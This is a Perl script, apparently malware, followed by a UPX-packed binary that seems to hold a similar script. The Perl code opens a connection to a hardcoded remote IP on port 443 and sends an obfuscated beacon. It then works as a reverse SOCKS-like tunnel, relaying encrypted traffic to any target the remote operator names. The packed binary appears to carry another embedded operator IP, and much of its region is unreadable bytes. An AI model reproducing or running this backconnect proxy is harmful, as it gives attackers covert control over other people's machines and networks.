#!/usr/bin/perl

use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;

my $host = '45.146.130.48';
my $port = 443;

my $xordata = "\x00" x 50;

for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }

sub Rc4_crypt {
	 
	 my $passw = shift(@_);
	 
	 my $length = shift(@_);
	 
	 my $buff0 = shift(@_);
	 
	 my $start = shift(@_);
	 
	 my $sz = shift(@_);
	 
	 my $rc4 = "\x00" x 256;
	 
	 my $pockemon0 = 0;
	
	 my $pockemon1 = 0;
	
	 my $pockemon2 = 0;
	
	 my $pockemon3 = 0;
	
	 my $pockemon4 = 0;
	
	 my $pockemon5 = 0;
	
	 my $pockemon6 = 0;
	
	 my $pockemon7 = 0;
	
	 my $pockemon8 = 0;
	 
	 my $rcx = $sz;
	 
	 my $rsi = 0;
	 
	 my $rbx = 0;
	 
	 my $gs = 0;
	 
	 my $t = 0;
	 
	 for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
	 
	 do {
		 
		 substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
		 
		 $rsi++;
		
		 $rbx++;
		
		 $rcx--;
		
		 if ($rbx == $length) {
			 
			 $rbx = 0;
		}
		 
	} while($rcx > 0);
	
	
	 while(1) {
		 
		 if ($gs == 0) {
			 
			 $pockemon2 = 0;

			 $pockemon3 = $length;
		}
		 
		 if ($gs != 0) {
			 
			 $gs = 0;

			 $pockemon2++;

			 if (--$pockemon3 == 0) { next; }
			 
		}
		
		 $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
		 
		 $t = unpack('C', substr($$passw, $pockemon2, 1));

		 $pockemon1 += $t;

		 $pockemon1 = $pockemon1 & 255;

		 $pockemon1 += $pockemon7;

		 $pockemon1 = $pockemon1 & 255;

		 $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
		 
		 substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
		 
		 substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
		 
		 $pockemon0++;

		 $pockemon0 = $pockemon0 & 255;
		 
		 if ($pockemon0 != 0) {
			 
			 $gs = 1;
			 
			 next;
		}
		
		 $pockemon4 = $sz;

		 $pockemon1 = 0;

		 $pockemon0 = 0;

		 $pockemon2 = 0;

		 $pockemon3 = 0;
		 
		 while(1) {
			 
			 $pockemon2++;

			 $pockemon2 = $pockemon2 & 255;

			 $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
			 
			 $pockemon1 += $pockemon7;

			 $pockemon1 = $pockemon1 & 255;

			 $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));

			 substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
		 
			 substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);

			 $pockemon8 += $pockemon7;
	
			 $pockemon8 = $pockemon8 & 255;

			 $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
			 
			 $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));

			 $pockemon5 = $pockemon5 ^ $pockemon0;
			 
			 substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
			 
			 $pockemon3++;
			 
			 if (--$pockemon4 == 0)
			 {
				 last;
			 }
			 
		}
		 
		 last;
	}
	
	 $rsi = 0;
	
	 $rcx = $sz;
	
	 $rbx = 0;
	
	 do {
		 
		 substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
		 
		 $rsi++;
		
		 $rbx++;
		
		 $rcx--;
		
		 if ($rbx == $length) {
			 
			 $rbx = 0;
		}
		 
	} while($rcx > 0);
	
}

sub synsend {
		
	 my $cSocket = shift(@_);
	 
	 my $buffer = shift(@_);
	 
	 my $flags	= shift(@_);

	 open(my $fh, "<", '/dev/null');

	 flock($fh, LOCK_EX);
	 
	 # ===============================================
	 
	 send($cSocket, $buffer, $flags);
	 
	 # ===============================================
	 
	 flock($fh, LOCK_UN);

	 close($fh);
}

sub newConnection {
	
	my $num = shift(@_);
	
	my $socketarray = shift(@_);
	
	my $sSocket = shift(@_);
	
	my $cSocket = shift(@_);
	
	my $buff0 = shift(@_);
	
    threads->create( sub {
		
		my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
		
		my $domain = '';
		
		my $port = 0;
		
		my $_ret = 0;
		
		my $data = '';
		
		my $buffer = '';
		
		setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
		
		fcntl($cSocket, F_SETFL, O_NONBLOCK);
		
		if (unpack('C', substr($buff0, 7, 1)) == 3) {
			
			$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
			
			$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
			
		}
		
		elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
			
			$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
			
			$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
			
		}
		
		else {
			
			 goto close_;
		}
		
		 eval {
			 
			 my $paddr = sockaddr_in($port, inet_aton($domain));
		
			 connect($cSocket, $paddr);
		 
			 vec(my $win = '', fileno($cSocket), 1) = 1;

			 unless (select(undef, $win, undef, 10)) { goto close_; }
		 
			 fcntl($cSocket, F_SETFL, 0);
		 
			 substr($responce, 4, 1) = "\x00";
		 
			 $_ret = 1;
			 
		 };
		 
		 close_:
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
		 
		 synsend($sSocket, $responce, MSG_NOSIGNAL);
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 if ($_ret == 1) {
			 
			 while ($$socketarray[$num] == 1) {
				 
				 vec(my $rin = '', fileno($cSocket), 1) = 1;
				 
				 unless (select($rin, undef, undef, 1)) { next; }
				 
				 $data = '';

				 recv($cSocket, $data, 65530, 0);
	 
				 unless ($data) { last; }
				 
				 $buffer = pack('C', $num).pack('S', length($data)).$data;
				 
				 Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
		 
				 Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
				 
				 synsend($sSocket, $buffer, MSG_NOSIGNAL);
				 
			}
		}
		
		 $$socketarray[$num] = 0;
		 
		 close($cSocket);
		 
		 substr($responce, 1, 2) = "\x00\x00";
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
		
         threads->detach();
    });
}

sub bccnct {

	 my $host = shift(@_);
	 
	 my $port = shift(@_);
	 
	 my $remaining = 0;
	 
	 my $remaining4 = 0;
	 
	 my @socketarr;
	 
	 my @socketarray :shared;
	 
	 my $buffer = "\x00" x 100;
	 
	 my $buffernull = "\x00" x 3;
	 
	 my $buffer0 = '';
	 
	 my $isExit = 0;
	 
	 my $ecx = 0;
	 
	 my $eax = 0;
	 
	 my $data = '';
	 
	 my $_ret = 0;
	 
	 my $ebx = 0;
	 
	 my $edx = 0;
	 
	 socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
	 
	 setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
	 
	 my $paddr = sockaddr_in($$port, inet_aton($$host));
	 
	 unless(connect($socketarr[0], $paddr)) { goto close0; }
	 
	 substr($buffer, 0, 50) = $xordata;
	 
	 substr($buffer, 50, 2) = "\xFF\xFF";
	 
	 substr($buffer, 54, 11) = "Perl script";
	 
	 Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
	 
	 send($socketarr[0], $buffer, MSG_NOSIGNAL);
	 
	 while(1) {
		 
		 if ($remaining4 != 4) {
			 
			 vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
			 
			 my $ret = select($rin, undef, undef, 60);
			 
			 next if ($ret < 0);
			 
			 if ($ret == 0) {
				 
				 last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
				 
				 last if ($remaining != 0);
				 
				 last if ($remaining4 != 0);
				 
				 Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
				 
				 synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
				 
				 next;
			}
			 
		}
		 
		 if ($remaining != 0 || $remaining4 == 4) {
			 
			 if ($edx == 0) {
				 
				 if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
					 
					 $isExit = 1;
					 
					 last;
					 
				}
				 
				 elsif ($ebx < 200 && $ebx > 0) {
				 
					 $socketarray[$ebx] = 0;
				 
				}
			
			}
			
			else {
				
				 $ecx = $edx;
				
				 $ecx = $ecx - $remaining;
				 
				 $data = '';
				 
				 recv($socketarr[0], $data, $ecx, 0);
				
				 unless ($data) { last; }
				 
				 $remaining += length($data);
				 
				 $buffer0 .= $data;
				 
				 if ($edx == $remaining) {
					 
					 Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
					 
					 if (unpack('C', substr($buffer0, 0, 1)) == 0) {
						 
						 socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
						 
						 $socketarray[$ebx] = 1;
						 
						 newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
						 
					}
					
					 else {
						 
						 send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
						 
					}
					 
					 $remaining = 0;
				}
				
			}
			 
			 $remaining4 = 0;
			 
		}
		
		else {
			
			 if ($remaining4 == 0) { $buffer0 = ''; }
			
			 $eax = 4;
			
			 $eax = $eax - $remaining4;
			 
			 $data = '';
			 
			 recv($socketarr[0], $data, $eax, 0);
			 
			 unless ($data) { last; }
			 
			 $remaining4 += length($data);
			 
			 $buffer0 .= $data;
			 
			 $buffernull = "\x00" x 3;
			 
			 if ($remaining4 == 4) {
				 
				 Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
				 
				 $ebx = unpack('C', substr($buffer0, 1, 1));
				 
				 $edx = unpack('S', substr($buffer0, 2, 2));
			 
				 $_ret = 1;
			}
			
		}
	}
	
	 close0:
	 
	 close($socketarr[0]);
	 
	 for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
	 
	 sleep 10;
	 
	 if ($isExit == 1) { exit; }
	 
	 return $_ret;

}

bccnct(\$host, \$port);
ELF



)@44 
@@GG
   @  @�A-UPX
����:&:&:&�	[���#!/usr/bin/env perl

e��g� strict;warn#gs���?Socket qw(IPPROTO_?��TCP _NODELAY)(Fcntla�o`3:fl?"�~a�threads
::shed�����my $ho = '185.93.89d?��.159';por443/����xdata"\x00" x 50_s�mf ("i<
�{++) {ub(���aB,1)-pa����}('C'rand(255)� }U��w4 Rc4_cryp�{	 �o�c�assw=�ift(@_����el�g�����buff0�a��Ž�zr�	�B�6���p�mony0!G�123�r�45�!G67`��s8xa3.�"s�J)9bx`$ltd0�G0f�ٌ��b[PH6�doT	;e�0�,+�I�ʖ}(un:;�	�^ 0�,�2G,'��=�,��bxBk,�cx--��Z�f�t=)�P	Z��x	}i}�+ۡ5�/6>�l�)��a�g�I`G�FƳ���Y���U!�l+eX��"?
iل?H next�P��x�t�HҌ
H�	��p���ذa��:w����+=E=!�q`&�<��d�D6��0�	1 �d)qg=�B�172d�en��0%�$0e`�0�l1;5�cB:4���}0�3�\Y23�BҲ��re	K!YSa$��2R�%|�0��8�[�=M�%W�28�#KY���!���	ډ8�L�08`p"�[ِ�M3I�^�z] ��aL5��1��3��l2��4%0k�lay4�½e/	 -�Yœ�B�13�I*�synsM���dJ�c�
;�Ԙer�@af��	�0��opi( h"<"
���'/dev/null'$��("LOCK_EX\#�}�a8�(,�a��,�,�`�N٪�UN�H�;�csev��J7�wCcti����|mW�x��s�{ray�0�!���dck�� �->c�d<Zt��/	�º�sp�ce9�)��k�.fA051�+[v";Y�
_�main�'	;�0���_re	?���s=A��8c�t*) �%�,���L0�9f�4{�F_SETFLO.NB,5�:-�/��Y�_7S�3��-!6
0f��9N��MH�}H;4S��u%9�S!��p#{.<BR�	�e2�ls#1����prtf("%d."(��d��&1.@.@23��12~ L$�[e1��Y goto�_8bap��ala�N��ddr)
_n�[f(�q	�_a,��N��<��4�c�%K1hB�v! lݤw��f�no5̂ԛ)��2[�D+$ g.�l�A{^Qf,A��`�y1�&�H�^$wu��FS0�͈�4�K�լ�+������s!�:��!�@(\}��a5�\p3����4`�I���s���e-MSG�SIGNAL�pJ���
M�ْ�&�����[5]-��`	.r�X68"F2^@")�B�=A���r�v�[�0
6(305��F6|#d�V��d�	-k$@���Z�H�f���`��D�43}w�!Q:ºleO6}o҉��3e���%Y.i�12e�2&�����lu3�M��I Nd}���cQ } 'jObccQLKX!5��-��o��ԢϦ��#�4@�d�����D+�^1�Tk!�%C�3#0tR��eisExitƍ��\�xa�\�keT�Rb2�d
��(�[0]�P>�٪�IN?SSTREAMtТmg ��b��7nEam�'tcp�l-{N!�F�>����X�Gy��Y
�(�}�$f)U>0�!-��^�ɴHxX;{Im�)&�FF�+�"+ijYj�:P��ikY/�5�FvZ6b�� ���� c��X�F�4[a��}1Z�r�2���6֩[�t�M$Ye0!� %�"�\�N��_2��V���7C���,'4(�l���HX�7��e� R	xK`�� ||���Z5��@xO�~L:ƋV eq/�L�4&& #1	��E"XY	Bv�ch��,B����q`W2��nec
>�lѲ%�&�a�ղ
�=��	�5;�n�-x;h`���ߌ�q�bS,-Bh�҄����r>�a0���.�,a���,U�����&�ث0�C�$Ay�$�-�)�?�$��
cYWK1(1R�Z��6�p���ٰ����qX�
�^	�esX�R�N�%�l��}a�e)��%�^��	�Б�  �4$��� e���{4;�
ll-����������ޒa/�^i%�(2�����2I$q�a��|���4=��ȕ��18d8t�S2�adAB��-�.}�(B��:
�x0�0\t!%#/�i�B�����epdpH�iQp�0���Ce3�p�Bu��7z8u8�v�%�;uz?�
 �UPX!�
`j�t$(�|$0����
����F�G
�u����ۊr�

�u������
�s�u	�����s�1Ƀ�r
���F���tv��
�u������
�u������u A
�u������
�s�u	�����s���������
�/����v�B�GIu��^�����������w�
��H����T$(T$,9�t
H�D$ �T$4���|$0)��
Za�
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $
]�@X��T��{���)��]`�%
�S�\$jZX̀[�S�ËL$�Ѓ�<v��+��AK���������[�U��WV1�S����`���]jX̀�������E�/pro�E�c/jX̀�Uڍ]����P�/fd/�����
j!XjỲ=���u~�]j
X̀���j7X̀�]ԋM�UjX̀����jX̀j��VjjPj�,������E�����
�]jX̀�E��ËM���jX̀9�t
j[j
X̀���]�jX̀��jX̀�e��[^_��U��WVS��|�}�E�u�E�����m�}������u�p
�E�/tmp�E�/upx�M�jX̀��j�ȍ}������U��E�1�1Ѝ]��E�jNX̀�U���1U��U��$�]���3U��b���Xj
X̀���t���
����
�]�jX̀�U�E��É�j]X̀����j�u�j
jRj�	�����=����E����E�jj��j2%���jE�hP��������}��u����M��m�ɉu�U�u��UPX!uh�}�tt�`9�w\;U�wW9�s%�E��u�P�u�R�u�M��U�����u8�E�9E�u0��}��u�U��]���j[X̀�E�)E
U�)U�
E�}�v����]�j
X̀j[j
X̀���]�jX̀��u��u�u �u�V�K�����x�jX̀��u3jX̀����u�E����]��E�̀��j
X̀1�j
X̀��1Ƀ����jX̀�]ċM �UjX̀�t���W��j
�Y��'�_��R��t�����X0��UPX!

2+�
_ν
:&�	:&_�